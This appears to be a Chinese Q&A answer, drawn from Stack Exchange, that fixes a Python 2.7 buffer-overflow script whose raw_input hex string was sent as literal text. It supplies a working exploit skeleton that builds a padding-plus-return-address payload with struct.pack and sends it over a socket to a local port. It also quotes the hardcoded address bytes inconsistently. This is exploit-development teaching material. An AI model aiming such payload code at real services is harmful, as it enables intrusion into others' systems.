Python2.7缓冲区溢出脚本raw_input转义十六进制串Socket发送失败
问题原因分析
我先帮你拆解清楚这个异常的根源:在Python 2.7里,你硬编码的"\x3c\x14\x04\x08"是原生字节串——每个\xXX都会被直接解析成对应的十六进制字节。但通过raw_input()拿到的输入就完全不一样了:比如你输入"\x3c\x14\x04\x08",程序会把它当成普通文本字符串处理,也就是把反斜杠、x、数字这些字符一个个当成ASCII字符发送,而不是解析成你想要的单字节。举个直观的例子:硬编码的"\x3c"是1个字节(值为0x3c),但输入的"\x3c"会被拆成4个独立字符:\、x、3、c,发送出去的内容自然和预期不符,溢出肯定失败。
最优实现方案
其实完全不用让用户输入转义后的十六进制串,直接让用户输入熟悉的0x格式地址(比如0x080414c3),我们自己处理成小端序字节串就好,既简单又不容易出错。
具体实现步骤
- 接收并解析地址:获取用户输入的地址,去掉
0x前缀(如果用户输入了的话),把它转换成整数。 - 打包成小端序字节:用Python 2的
struct模块,把整数按**小端序(<)、32位无符号整数(I)**的规则打包成字节串——这一步直接帮你生成正确的小端序字节。 - 拼接payload发送:把打包好的字节串拼接到溢出缓冲区的对应位置,再通过socket发送出去。
示例代码
import socket import struct # 先构建基础溢出缓冲区,这里用200个'A'做填充,你可以根据实际溢出长度调整 overflow_buffer = 'A' * 200 # 接收用户输入的指针地址 target_addr = raw_input("请输入目标指针地址(格式如0x080414c3):").strip() # 解析地址:去掉0x前缀,转成十六进制整数 addr_int = int(target_addr.replace('0x', ''), 16) # 把整数打包成小端序的32位字节串 little_endian_bytes = struct.pack('<I', addr_int) # 拼接完整的payload:溢出缓冲区 + 小端序指针 payload = overflow_buffer + little_endian_bytes # 发送payload(这里替换成你的目标IP和端口) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', 4444)) s.send(payload) s.close()
为什么这方案靠谱?
比如你输入0x080414c3,struct.pack('<I', addr_int)会直接生成'\xc3\x14\x04\x08'——和你之前硬编码的正确字节串完全一致,发送出去的就是正确的小端序指针。而且用户输入的是常规的内存地址格式,不用记转义规则,出错概率极低。
额外小技巧
如果你确实需要支持用户输入转义后的字符串(比如"\xc3\x14\x04\x08"),可以用ast.literal_eval()来解析输入,把它转换成字节串:
import ast user_escaped_input = raw_input("输入转义后的十六进制串:") parsed_bytes = ast.literal_eval(user_escaped_input)
不过这种方式不如直接输入0x地址来得直观,用户很容易输错转义符,所以还是优先推荐上面的方案。
内容的提问来源于stack exchange,提问作者odinsec
相关产品推荐
相关产品推荐

